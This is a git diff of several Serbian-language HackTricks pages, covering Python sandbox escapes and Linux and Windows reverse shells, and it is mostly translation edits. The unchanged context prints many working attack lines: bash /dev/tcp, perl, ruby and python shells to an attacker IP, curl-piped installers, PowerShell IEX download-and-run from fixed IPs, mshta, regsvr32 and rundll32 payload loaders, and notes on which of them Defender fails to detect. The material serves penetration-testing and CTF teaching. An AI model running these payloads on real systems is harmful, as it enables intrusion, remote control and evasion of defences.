Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da se pozovu direktno**.
#### RCE sa prilagođenim klasama
Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste omogućili da izvršavaju **proizvoljan kod** kada budu **pokrenute** bez direktnog pozivanja.
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste ih naterali da **izvrše proizvoljan kod** kada budu **pokrenuti** bez direktnog pozivanja.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -273,7 +273,7 @@ Sub['import os; os.system("sh")']
```
#### Kreiranje objekata sa izuzecima
Kada se **izuzetak pokrene**, objekat **Izuzetka** se **kreira** bez potrebe da direktno pozivate konstruktor (trič od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
Kada se **izuzetak pokrene**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (triik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -315,7 +315,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Pročitajte datoteku pomoću ugrađenih funkcija pomoću & licenca
### Pročitajte datoteku pomoću ugrađenih funkcija help & license
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -336,10 +336,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### Bez Ugrađenih Funkcija
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čitati ili pisati fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **podrazumevano, python uvozi mnoge module u memoriju**. Ovi moduli mogu delovati bezopasno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe do kojih se može pristupiti kako bi se čak postiglo **izvršavanje proizvoljnog koda**.
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **podrazumevano, Python učitava mnoge module u memoriju**. Ovi moduli mogu delovati bezopasno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe do kojih se može pristupiti radi čak i **izvršavanja proizvoljnog koda**.
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**benignih**" učitanih modula kako biste pristupili **opasnim** **funkcionalnostima** unutar njih.
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**benignih**" učitanih modula da biste pristupili **opasnim** **funkcionalnostima** unutar njih.
**Python2**
```python
@ -466,7 +466,7 @@ Na primer, znajući da je sa bibliotekom **`sys`** moguće **uvoziti proizvoljne
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Postoji mnogo, i **potrebno nam je samo jedno** da izvršimo komande:
Postoji mnogo, i **potreban nam je samo jedan** da izvršimo komande:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
@ -559,7 +559,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Rekurzivna pretraga ugrađenih funkcija, globalnih promenljivih...
{% hint style="warning" %}
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za rekurzivno pronalaženje mesta gde možete pronaći taj objekat.
Ovo je zaista **sjajno**. Ako tražite objekat poput globals, builtins, open ili bilo čega drugog, jednostavno koristite ovaj skript za **rekurzivno pronalaženje mesta gde možete pronaći taj objekat.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -684,11 +684,11 @@ Možete proveriti izlaz ovog skripta na ovoj stranici:
## Python Format String
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona**. Možete koristiti prethodne primere da pristupite globalnim promenljivama ili ugrađenim funkcijama na primer.
Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona**. Možete koristiti prethodne primere da pristupite globalnim ili ugrađenim funkcijama na primer.
{% hint style="info" %}
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći da izvršite proizvoljni kod**, već samo da čitate informacije.\
_**Ako znate kako da izvršite kod putem ove ranjivosti, molim vas kontaktirajte me.**_
Međutim, postoji **ograničenje**, možete koristiti samo simbole `.[]`, tako da **nećete moći izvršiti proizvoljni kod**, već samo čitati informacije.\
_**Ako znate kako izvršiti kod putem ove ranjivosti, molim vas kontaktirajte me.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
@ -709,11 +709,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Primetite kako možete **pristupiti atributima** na uobičajen način sa **tačkom** poput `people_obj.__init__` i **elementima rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
Zapaženo je kako možete **pristupiti atributima** na uobičajen način sa **tačkom** poput `people_obj.__init__` i **elementima rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]`
Takođe primetite da možete koristiti `.__dict__` da nabrojite elemente objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Takođe, možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Neke druge interesantne karakteristike formatiranja stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** redom:
Neke druge zanimljive karakteristike formatiranja stringova su mogućnost **izvršavanja** funkcija **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** redom:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -753,10 +753,10 @@ Takođe proverite sledeću stranicu za gedžete koji će **čitati osetljive inf
## Rasklapanje Python objekata
{% hint style="info" %}
Ako želite da saznate više o **bajtkodu u Pythonu** detaljno pročitajte ovaj **sjajan** članak na temu: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Ako želite da **sa**znate više o **bajtkodu u Pythonu** detaljno pročitajte ovaj **sjajan** članak o ovoj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Na nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izvukli.
Na nekim CTF-ovima može vam biti dostavljen naziv **prilagođene funkcije u kojoj se nalazi zastava** i treba da vidite **unutrašnjost** te **funkcije** kako biste je izdvojili.
Ovo je funkcija koju treba pregledati:
```python
@ -778,7 +778,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisan:
`__globals__` i `func_globals` (Isto) Dobijaju globalno okruženje. U primeru možete videti neke uvežene module, neke globalne promenljive i njihov sadržaj deklarisane:
```python
get_flag.func_globals
get_flag.__globals__
@ -787,7 +787,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Pogledajte ovde više mesta za dobijanje globala**](./#globals-and-locals)
[**Pogledajte ovde više mesta za dobijanje globalnih promenljivih**](./#globals-and-locals)
### **Pristupanje kodu funkcije**
@ -879,7 +879,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Primetite da **ako ne možete da uvezete `dis` u python pesku**, možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive.
Primetite da **ako ne možete da uvezete `dis` u python sandbox-u** možete dobiti **bajtkod** funkcije (`get_flag.func_code.co_code`) i **raspakovati** ga lokalno. Nećete videti sadržaj učitanih promenljivih (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje ofset učitane promenljive.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -919,7 +919,7 @@ return "Nope"
```
### Kreiranje objekta koda
Prvo, moramo znati **kako kreirati i izvršiti objekat koda** kako bismo mogli kreirati jedan za izvršavanje naše funkcije leaked:
Prvo što treba da uradimo je da saznamo **kako kreirati i izvršiti objekat koda** kako bismo mogli da kreiramo jedan za izvršavanje naše funkcije leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -948,7 +948,7 @@ types.CodeType.__doc__
### Rekreiranje procurene funkcije
{% hint style="warning" %}
U sledećem primeru, uzimamo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
U sledećem primeru, uzećemo sve potrebne podatke kako bismo rekreirali funkciju direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** potrebne za izvršenje funkcije **`code_type`** su ono što će vam biti potrebno da **procurete**.
{% endhint %}
```python
fc = get_flag.__code__
@ -962,7 +962,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Zaobilaženje odbrana
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i isto možemo uraditi koristeći **`exec`**).\
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji Python kod koristeći funkciju `compile`**. Ovo je interesantno jer možete **izvršiti ceo skript** sa petljama i svim ostalim u **jednoj liniji koda** (i mogli bismo isto to uraditi koristeći **`exec`**).\
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajliran objekat** na lokalnom računaru i izvršiti ga na **CTF mašini** (na primer, jer nemamo funkciju `compile` na CTF-u).
Na primer, hajde da ručno kompajliramo i izvršimo funkciju koja čita _./poc.py_:
@ -1035,7 +1035,7 @@ print(f"\nNot a Super User!!!\n")
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -1045,7 +1045,7 @@ print(f"\nNot a Super User!!!\n")
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -41,9 +41,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
### Bezbedan simbolni shell
### Simbol bezbedna ljuska
Ne zaboravite da proverite i druge shelove: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
Ne zaboravite da proverite i sa drugim ljuskama: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -54,20 +54,20 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
```
#### Objasnjenje Shell-a
1. **`bash -i`**: Ovaj deo komande pokrece interaktivnu (`-i`) Bash ljusku.
2. **`>&`**: Ovaj deo komande je skracena oznaka za **preusmeravanje i standardnog izlaza** (`stdout`) i **standardne greske** (`stderr`) na **isti odrediste**.
3. **`/dev/tcp/<NAPADAC-IP>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP vezu sa navedenom IP adresom i portom**.
* **Preusmeravanjem izlaznih i gresnih tokova u ovaj fajl**, komanda efikasno salje izlaz interaktivne ljuske sesije na masinu napadaca.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odrediste kao i standardni izlaz (`stdout`)**.
1. **`bash -i`**: Ovaj deo komande pokreće interaktivnu (`-i`) Bash ljusku.
2. **`>&`**: Ovaj deo komande je skraćena oznaka za **preusmeravanje kako standardnog izlaza** (`stdout`) tako i **standardne greške** (`stderr`) na **isti odredište**.
3. **`/dev/tcp/<IP-NAPADACA>/<PORT>`**: Ovo je poseban fajl koji **predstavlja TCP konekciju ka navedenoj IP adresi i portu**.
* **Preusmeravanjem izlaznih i grešnih tokova u ovaj fajl**, komanda efikasno šalje izlaz interaktivne ljuske sesije ka računaru napadača.
4. **`0>&1`**: Ovaj deo komande **preusmerava standardni ulaz (`stdin`) na isto odredište kao standardni izlaz (`stdout`)**.
### Kreiraj u fajlu i izvrsi
### Kreiraj u fajlu i izvrši
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Napredna ljuska
Kada se suočite sa ranjivošću **Remote Code Execution (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom.
Kada se suočite sa ranjivošću **Udaljenog izvršenja koda (RCE)** unutar veb aplikacije zasnovane na Linuxu, postizanje reverzne ljuske može biti otežano zbog mrežnih odbrana poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) ljuske kako biste efikasnije interagirali sa kompromitovanim sistemom.
Preporučeni alat za tu svrhu je [toboggan](https://github.com/n3rada/toboggan.git), koji pojednostavljuje interakciju sa ciljnim okruženjem.
@ -105,11 +105,11 @@ Druga mogućnost je korišćenje implementacije `IppSec` forward ljuske [**https
Samo trebate izmeniti:
- URL ranjivog hosta
- Prefiks i sufiks vašeg payload-a (ako postoji)
- Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
* URL ranjivog hosta
* Prefiks i sufiks vašeg payload-a (ako postoji)
* Način slanja payload-a (zaglavlja? podaci? dodatne informacije?)
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cjevovodi čitaju i pišu sa oko 1.3s kašnjenja).
Zatim možete jednostavno **slati komande** ili čak **koristiti komandu `upgrade`** da biste dobili potpunu PTY (imajte na umu da se cevi čitaju i pišu sa oko 1.3s kašnjenja).
## Netcat
```bash
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet je jednostavan protokol za pristup udaljenom računaru preko mreže. On omogućava korisniku da se prijavi na udaljeni sistem i izvršava komande kao da je direktno povezan sa njim.
Telnet je popularan protokol za udaljenu komunikaciju koji omogućava korisnicima da se povežu i komuniciraju sa udaljenim računarima putem mreže.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -159,6 +159,8 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
@ -281,7 +283,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
```bash
while true; do nc -l 79; done
```
Da biste poslali komandu, napišite je, pritisnite Enter, a zatim pritisnite CTRL+D (da zaustavite STDIN)
Da biste poslali komandu, napišite je, pritisnite Enter i pritisnite CTRL+D (da zaustavite STDIN)
**Žrtva**
```bash
@ -327,7 +329,7 @@ Xnest :1
```
## Groovy
od [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverzna ljuska takođe radi za Groovy
od [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NAPOMENA: Java reverse shell takođe radi za Groovy
```bash
String host="localhost";
int port=8044;
@ -343,7 +345,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -353,7 +355,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) je prenosiva i sigurna alternativa za Netcat**. Radi na Unix-sličnim sistemima i Win32. Sa funkcijama kao što su jaka enkripcija, izvršavanje programa, prilagodljivi izvorni portovi i kontinuirana ponovna povezivanja, sbd pruža svestranu rešenje za TCP/IP komunikaciju. Za korisnike Windows-a, verzija sbd.exe iz distribucije Kali Linux može se koristiti kao pouzdana zamena za Netcat.
**[sbd](https://www.kali.org/tools/sbd/) je prenosiva i sigurna alternativa za Netcat**. Radi na Unix-sličnim sistemima i Win32. Sa funkcijama kao što su jaka enkripcija, izvršavanje programa, prilagodljivi izvorni portovi i kontinuirana ponovna povezivanja, sbd pruža svestranu rešenje za TCP/IP komunikaciju. Za korisnike Windowsa, sbd.exe verzija iz distribucije Kali Linux može se koristiti kao pouzdana zamena za Netcat.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -88,7 +88,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Proces koji vrši mrežni poziv: **powershell.exe**\
Payload napisan na disku: **NE** (_bar nigde gde sam mogao da pronađem koristeći procmon!_)
Payload napisan na disku: **NE** (_bar nigde gde sam mogao pronaći koristeći procmon!_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
@ -113,7 +113,7 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Primer hta-psh reverzne ljuske (koristi hta za preuzimanje i izvršavanje PS zadnjih vrata)**
#### **Primer reverznog šela hta-psh (koristi hta za preuzimanje i izvršavanje PS backdoor-a)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
@ -182,7 +182,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Otkriveno od strane defendera**
**Otkriveno od strane zaštitnika**
**Rundll32 - sct**
@ -226,7 +226,7 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Otkriveno od strane defendera**
**Otkriveno od strane zaštitnika**
#### Regsvr32 -sct
@ -353,7 +353,7 @@ Kompajlirajte C# kod na žrtvinom računaru.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
Možete preuzeti osnovnu C# reverznu ljusku sa ovog linka: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Možete preuzeti osnovnu C# reverznu ljusku sa ovde: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nije otkriveno**
@ -387,7 +387,7 @@ U **Shells** fascikli, postoji mnogo različitih shell-ova. Da biste preuzeli i
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Počnite sa izvršavanjem skripte na veb serveru i izvršite je na strani žrtve:
Pokrenite skriptu na veb serveru i izvršite je na strani žrtve:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
@ -399,11 +399,11 @@ Defender ne otkriva da je zlonamerni kod (još uvek, 3/04/2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Preuzmite, pokrenite web server, pokrenite osluškivač i izvršite ga na strani žrtve:
Preuzmi, pokreni web server, pokreni osluškivač i izvrši ga na strani žrtve:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender još uvek ne otkriva kao zlonamerni kod (još, 3/04/2019).
Defender ne detektuje ovaj kod kao zlonameran (još uvek, 3/04/2019).
**Druge opcije koje nudi powercat:**
@ -428,7 +428,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Napravite powershell pokretač, sačuvajte ga u datoteku i preuzmite i izvršite.
Napravite powershell pokretač, sačuvajte ga u datoteku, preuzmite i izvršite.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -470,7 +470,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS konzola sa nekim ofanzivnim
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,17 +4,17 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
